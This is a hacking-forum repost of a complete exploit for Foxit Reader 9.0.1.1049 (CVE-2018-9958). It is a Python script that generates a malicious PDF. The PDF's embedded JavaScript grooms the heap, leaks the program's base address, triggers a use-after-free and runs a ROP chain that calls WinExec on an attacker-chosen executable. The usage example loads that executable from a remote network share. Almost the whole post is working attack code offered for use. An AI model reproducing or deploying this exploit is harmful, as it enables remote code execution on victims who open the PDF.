Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

Foxit Reader 9.0.1.1049 - Arbitrary Code Execution

 Share


Recommended Posts

# Exploit Title: Foxit Reader 9.0.1.1049 - Arbitrary Code Execution
# Date: 2020-08-29
# Exploit Author: CrossWire
# Vendor Homepage: https://www.foxitsoftware.com/
# Software Link: https://www.foxitsoftware.com/downloads/latest.php?product=Foxit-Reader&platform=Windows&version=9.0.1.1049&package_type=exe&language=English
# Version: 9.0.1.1049
# Tested on: Microsoft Windows Server 2016 10.0.14393
# CVE : [2018-9958](https://nvd.nist.gov/vuln/detail/CVE-2018-9958)

#!/usr/bin/python3

'''
===========================================================================
|   PDF generator for Foxit Reader Remote Code Execution (CVE 2018-9958)  |  
===========================================================================
| Written by: Kevin Dorland (CrossWire)                                   |
| Date: 08/29/2020                                                        |
|                                                                         |
| Exploit originally discovered by Steven Seeley (mr_me) of Source Incite |
|                                                                         |
| References:                                                             |
|   https://www.exploit-db.com/exploits/44941 (Steven Seely Calc.exe PoC) |
|   https://www.exploit-db.com/exploits/45269 (Metasploit adaptation)     |
|                                                                         |
===========================================================================
'''


PDF_TEMPLATE = '''
%PDF
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>>
2 0 obj
<</S /JavaScript /JS (

var heap_ptr   = 0;
var foxit_base = 0;
var pwn_array  = [];

function prepare_heap(size){
    var arr = new Array(size);
    for(var i = 0; i < size; i++){
        arr[i] = this.addAnnot({type: "Text"});;
        if (typeof arr[i] == "object"){
            arr[i].destroy();
        }
    }
}

function gc() {
    const maxMallocBytes = 128 * 0x100000;
    for (var i = 0; i < 3; i++) {
        var x = new ArrayBuffer(maxMallocBytes);
    }
}

function alloc_at_leak(){
    for (var i = 0; i < 0x64; i++){
        pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
    }
}

function control_memory(){
    for (var i = 0; i < 0x64; i++){
        for (var j = 0; j < pwn_array[i].length; j++){
            pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
        }
    }
}

function leak_vtable(){
    var a = this.addAnnot({type: "Text"});

    a.destroy();
    gc();

    prepare_heap(0x400);
    var test = new ArrayBuffer(0x60);
    var stolen = new Int32Array(test);

    var leaked = stolen[0] & 0xffff0000;
    foxit_base = leaked - 0x01f50000;
}

function leak_heap_chunk(){
    var a = this.addAnnot({type: "Text"});
    a.destroy();
    prepare_heap(0x400);

    var test = new ArrayBuffer(0x60);
    var stolen = new Int32Array(test);

    alloc_at_leak();
    heap_ptr = stolen[1];
}

function reclaim(){
    var arr = new Array(0x10);
    for (var i = 0; i < arr.length; i++) {
        arr[i] = new ArrayBuffer(0x60);
        var rop = new Int32Array(arr[i]);

        rop[0x00] = heap_ptr;                // pointer to our stack pivot from the TypedArray leak
        rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
        rop[0x02] = 0x72727272;              // junk
        rop[0x03] = foxit_base + 0x00001450  // pop ebp; ret
        rop[0x04] = 0xffffffff;              // ret of WinExec
        rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
        rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
        rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
        rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
        rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
        rop[0x0a] = foxit_base + 0x0041c6ca; // ret
        rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
        
        //Path to executable

<PATH TO EXECUTABLE>
        
        //End Path to executable

        rop[0x17] = 0x00000000;              // adios, amigo
    }
}

function trigger_uaf(){
    var that = this;
    var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
    var arr = [1];
    Object.defineProperties(arr,{
        "0":{
            get: function () {

                that.getAnnot(0, "uaf").destroy();

                reclaim();
                return 1;
            }
        }
    });

    a.point = arr;
}

function main(){
    leak_heap_chunk();
    leak_vtable();
    control_memory();
    trigger_uaf();
}

if (app.platform == "WIN"){
    if (app.isFoxit == "Foxit Reader"){
        if (app.appFoxitVersion == "9.0.1.1049"){
            main();
        }
    }
}

)>> trailer <</Root 1 0 R>>
'''

import sys

#Enforces 2 hex char byte notation. "0" becomes "0x00"
def format_byte(b):

    if (len(b) > 2) and (b[0:2] == '0x'):
        b = b[2:]

    if len(b) == 1:
        b = '0' + b

    return '0x' + b

def char2hex(c):
    return format_byte(hex(ord(c)))

#Converts file path into array of eleven 32-bit hex words
def path_to_machine_code(path,little_endian = True):

    print("[+] Encoding Path:",path)

    #ensure length
    if len(path) > 44:
        print("[CRITICAL] Path length greater than 44 characters (bytes). Aborting!")
        exit(-1)

    #Copy path into 4 character (32 bit) words (max 11)
    word_array = []
    for i in range(11):
        
        word = ''

        if len(path):
            word += path[0:4] if len(path) >= 4 else path
            path = path[len(word):]
        
        if len(word) < 4:
            word += chr(0) * (4 - len(word))

        word_array.append(word)

    #Convert chars to hex values and format to "0xAABBCCDD" notation
    hex_array = []
    for word in word_array:
            
        #Reverse byte order to fit little endian standard
        if(little_endian): word = word[::-1]

        #Write bytes to hex strings
        hex_string = '0x'
        for char in word:
            hex_string += char2hex(char)[2:] #strip the 0x off the byte here

        hex_array.append(hex_string)
   
    return hex_array

#writes encoded path to rop array to match template
def create_rop(hex_arr, start_index = '0c'):

    ord_array = []

    index = int(start_index,16)

    for instruction in hex_arr:

        full_instruction = f"\trop[{format_byte(hex(index))}] = {instruction};"

        ord_array.append(full_instruction)
    
        index += 1

    return ('\n'.join(ord_array))
    
    

if __name__ == '__main__':
    
    if len(sys.argv) != 3:
        print(f"USAGE: {sys.argv[0]} <path to executable> <pdf filename>")
        print("-- EXAMPLES --")
        print(f"{sys.argv[0]} \\\\192.168.0.1\\exploits\\bad.exe evil.pdf")

        exit(-1)

    #Parse user args
    EXE_PATH = sys.argv[1] 
    PDF_PATH = sys.argv[2]

    #Generate hex
    raw_hex = path_to_machine_code(EXE_PATH)

    print("[+] Machine Code:")
    for hex_word in raw_hex:
        print(hex_word)

    ord_string = create_rop(raw_hex)

    print("[+] Instructions to add:")
    print(ord_string)

    print("[+] Generating pdf...")

    print("\t- Filling template...")
    evil_pdf = PDF_TEMPLATE.replace('<PATH TO EXECUTABLE>',ord_string)
    
    print("\t- Writing file...")
    with open(PDF_PATH,'w') as fd:
        fd.write(evil_pdf)

    print("[+] Generated pdf:",PDF_PATH)
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...